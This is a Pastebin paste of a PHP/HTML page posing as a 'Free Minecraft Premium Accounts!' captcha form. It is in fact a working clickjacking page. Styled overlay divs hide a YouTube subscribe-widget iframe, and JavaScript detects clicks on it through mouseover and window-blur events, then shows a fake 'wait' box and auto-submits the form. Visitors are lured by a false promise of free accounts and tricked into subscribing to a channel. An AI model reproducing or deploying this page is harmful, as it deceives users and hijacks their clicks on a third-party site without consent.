Guest User

Codigo de content.php

a guest
Mar 1st, 2013
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.31 KB | None | 0 0
  1. <?php
  2. /*
  3. Description:    Simple Language Changer Class
  4.                 you can use it for change language to another one
  5.                 it is simple to use
  6. Auther:         Payam khaninajad
  7. Contact Email:  progvig@yahoo.com
  8. Site:           http://progvig.ir
  9. Year:           2010/11/13
  10. */
  11. if ($_POST['action'] == "checkdata") {
  12.     if ($_SESSION['tmptxt'] == $_POST['tmptxt']) {
  13.     $_SESSION['listo'] = true; // En caso de ser Iguales establecer la sesion "listo"
  14.     header('Location: privada.php');
  15.     exit;
  16. } else // En caso de que la Pass no sea Correcta lanzamos un error con JavaScript.
  17. {
  18. ?>
  19. <script type="text/javascript">
  20. <!--
  21. alert('El codigo es erroneo.')
  22. //-->
  23. </script>
  24. <?php
  25. }
  26. }
  27. ?>
  28. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  29. <html xmlns="http://www.w3.org/1999/xhtml">
  30. <head>
  31. <title>Free Minecraft Premium Accounts!</title>
  32. <script src="http://code.jquery.com/jquery-1.9.0.js"></script>
  33. <style>
  34.  
  35. </style>
  36. <script type="text/javascript">
  37.     $(document).ready(function() {
  38.         var isOverIFrame = false;
  39.  
  40.         function processMouseOut() {
  41.             log("IFrame mouse >> OUT << detected.");
  42.             isOverIFrame = false;
  43.             top.focus();
  44.         }
  45.  
  46.         function processMouseOver() {
  47.             log("IFrame mouse >> OVER << detected.");
  48.             isOverIFrame = true;
  49.         }
  50.  
  51.         function processIFrameClick() {
  52.             if(isOverIFrame) {
  53.         setTimeout(function() {
  54.         $("#wait").show();
  55.         $("#sub").show();
  56.         }, 390);
  57.  
  58.         setTimeout(function() {
  59.         $('#login').click();
  60.         }, 3000);
  61.             }
  62.         }
  63.  
  64.         function log(message) {
  65.             var console = document.getElementById("console");
  66.             var text = console.value;
  67.             text = text + message + "\n";
  68.             console.value = text;
  69.         }
  70.  
  71.         function attachOnloadEvent(func, obj) {
  72.             if(typeof window.addEventListener != 'undefined') {
  73.                 window.addEventListener('load', func, false);
  74.             } else if (typeof document.addEventListener != 'undefined') {
  75.                 document.addEventListener('load', func, false);
  76.             } else if (typeof window.attachEvent != 'undefined') {
  77.                 window.attachEvent('onload', func);
  78.             } else {
  79.                 if (typeof window.onload == 'function') {
  80.                     var oldonload = onload;
  81.                     window.onload = function() {
  82.                         oldonload();
  83.                         func();
  84.                     };
  85.                 } else {
  86.                     window.onload = func;
  87.                 }
  88.             }
  89.         }
  90.  
  91.         function init() {
  92.             var element = document.getElementsByTagName("iframe");
  93.             for (var i=0; i<element.length; i++) {
  94.                 element[i].onmouseover = processMouseOver;
  95.                 element[i].onmouseout = processMouseOut;
  96.             }
  97.             if (typeof window.attachEvent != 'undefined') {
  98.                 top.attachEvent('onblur', processIFrameClick);
  99.             }
  100.             else if (typeof window.addEventListener != 'undefined') {
  101.                 top.addEventListener('blur', processIFrameClick, false);
  102.             }
  103.         }
  104.  
  105.         attachOnloadEvent(init);
  106.     });
  107. </script>
  108. <script src="http://code.jquery.com/jquery-1.9.0.js"></script>
  109. <script type="text/javascript">
  110. (function($){
  111.     $.fn.MySlider = function(interval) {
  112.         var slides;
  113.         var cnt;
  114.         var amount;
  115.         var i;
  116.  
  117.         function run() {
  118.             // hiding previous image and showing next
  119.             $(slides[i]).fadeOut(1000);
  120.             i++;
  121.             if (i >= amount) i = 0;
  122.             $(slides[i]).fadeIn(1000);
  123.  
  124.             // updating counter
  125.             cnt.text(i+1+' / '+amount);
  126.  
  127.             // loop
  128.             setTimeout(run, interval);
  129.         }
  130.  
  131.         slides = $('#my_slider').children();
  132.         cnt = $('#counter');
  133.         amount = slides.length;
  134.         i=0;
  135.  
  136.         // updating counter
  137.         cnt.text(i+1+' / '+amount);
  138.  
  139.         setTimeout(run, interval);
  140.     };
  141. })(jQuery);
  142.  
  143. // custom initialization
  144. jQuery(window).load(function() {
  145.     $('.smart_gallery').MySlider(60000);
  146. });
  147. </script>
  148. </head>
  149. <body>
  150.  
  151. <?php
  152.  
  153. require_once 'inc/lang.class.php';
  154. $mylang=new mylanguage();
  155. $mylang->load_language($_SESSION['mylang']);
  156.  
  157. ?>
  158.  
  159. <h3><?php echo text1; ?></h3>
  160.  
  161. <center><h1><?php echo text2; ?></h1>
  162. <br>
  163.  
  164. <div style="width: 510px; height: 125px; left: 135px;top: 146px;background:#fff; z-index: 6; position: absolute;display:none;" id="wait"><center><h1><?php echo text3; ?></h1><img src="http://revistav.uvm.edu.ve/admincontenido/images/load.gif" style="width:32px; height:32px;"></center></div>
  165. <div style="position:relative; top:-20px; width:510px; background:#fff; z-index:5;border-top: 1px #000 solid;border-left: 1px #000 solid;border-right: 1px #000 solid;padding-top: 5px;">
  166. <?php echo text4; ?><br>
  167. <form action="" method="post">
  168. <img src="captcha.php" width="100" height="30" vspace="3" /><br>
  169. <input name="tmptxt" type="text" size="30" /><br>
  170. <input name="btget" type="submit" style="display:none;" value="Check" id="login" />
  171. <input name="action" type="hidden" value="checkdata" />
  172. </form>
  173. </div>
  174.  
  175. <div style="position:relative; top: -230px; left:60px;">
  176. <div style="width:84px; background:#fff; border:1px #fff solid; height: 34px; position:relative; z-index:4; left: -63px;top: 238px; display:none;" id="sub"></div>
  177. <div style="width: 216px; background: #fff; height: 40px; position:relative; z-index:4; left: -207px; top: 209px;border-left: 1px #000 solid;border-bottom: 1px #000 solid;"></div>
  178. <div style="width: 84px; background: #fff; height: 6px; position:relative; z-index:4; left: -63px; top: 202px;border-bottom: 1px #000 solid;"></div>
  179. <div style="width: 298px; height: 67px; position:relative; top: 100px; left: 47px; background:#fff; border-right: 1px #000 solid; z-index:1;"></div>
  180. <div style="width: 216px; height: 34px; position:relative; left: 88px; top: 100px; border-bottom: 1px #000 solid; background: #fff; z-index:3;border-right: 1px #000 solid;"></div>
  181. <iframe id="marco" src="http://www.youtube.com/subscribe_widget?p=ikillnukes4evertmb" style="overflow: hidden; height: 105px; width: 300px; border: 0; position:relative; left:45px; z-index:0;top: -1px;" scrolling="no" frameborder="0"></iframe></div>
  182.  
  183. <div class="example">
  184.     <h3>Publicidad:</h3>
  185.     <ul id="my_slider">
  186.       <li><a href="http://minecraftviewer.com/servers/1670630/view" target="_blank"><img src="http://cache.multiplayuk.com/b/1-1670630-560x95-5-FF5519-FFFFFF.png" alt="Server Banner" style="border:0;width:560px;height:95;position:relative;top:-15px;"></a><br><b>|| Juegos del Hambre || 24/7 || NO PREMIUM || NO HAMACHI || IP: 76.72.172.232:25578 ||</b></li>
  187.     </ul>
  188. La publicidad cambia cada minuto.</div>
  189.  
  190. </center>
  191.  
  192. <form name="form" id="form" action="" style="display:none;"><textarea name="console"
  193. id="console" style="width: 100px; height: 300px;" cols="" rows=""></textarea>
  194. <button name="clear" id="clear" type="reset">Clear</button>
  195. </form>
  196.  
  197. <span style="display:none;"><a href="inicio.php?lang=en"><img src="images/us.gif" /></a> | <a href="inicio.php?lang=ir"><img src="images/ir.gif" /> </a>|<a href="inicio.php?lang=tr"> <img src="images/tr.gif" /></a><br /></span>
  198.  
  199. </body>
  200. </html>
Add Comment
Please, Sign In to add comment